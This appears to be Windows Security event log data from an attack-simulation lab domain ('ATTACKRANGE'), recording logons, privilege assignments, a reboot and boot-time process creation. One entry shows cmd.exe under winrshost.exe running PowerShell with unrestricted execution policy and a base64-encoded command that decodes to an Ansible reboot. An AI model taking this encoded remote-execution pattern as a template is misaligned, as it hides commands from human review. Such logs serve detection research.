BBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248055
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FE483

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248054
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FE483
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248053
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248052
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248051
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FE3C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248050
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FE3C3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248049
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FE3C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248048
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248047
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248046
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FD235

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:52 PM
LogName=Security
SourceName=Microsoft-Windows-Eventlog
EventCode=1100
EventType=4
Type=Information
ComputerName=win-dc-725
TaskCategory=Service shutdown
OpCode=Info
RecordNumber=248069
Keywords=Audit Success
Message=The event logging service has shut down.
03/11/2021 11:44:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x27c
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x274
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x244
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1bc
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=248070
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
	HyperVisor Debugging:	No
03/11/2021 11:44:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248078
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x320
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248077
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d4
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248076
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2cc
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2c4
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=248083
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x5778
03/11/2021 11:44:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248082
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security State Change
OpCode=Info
RecordNumber=248081
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:44:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248080
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2cc
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

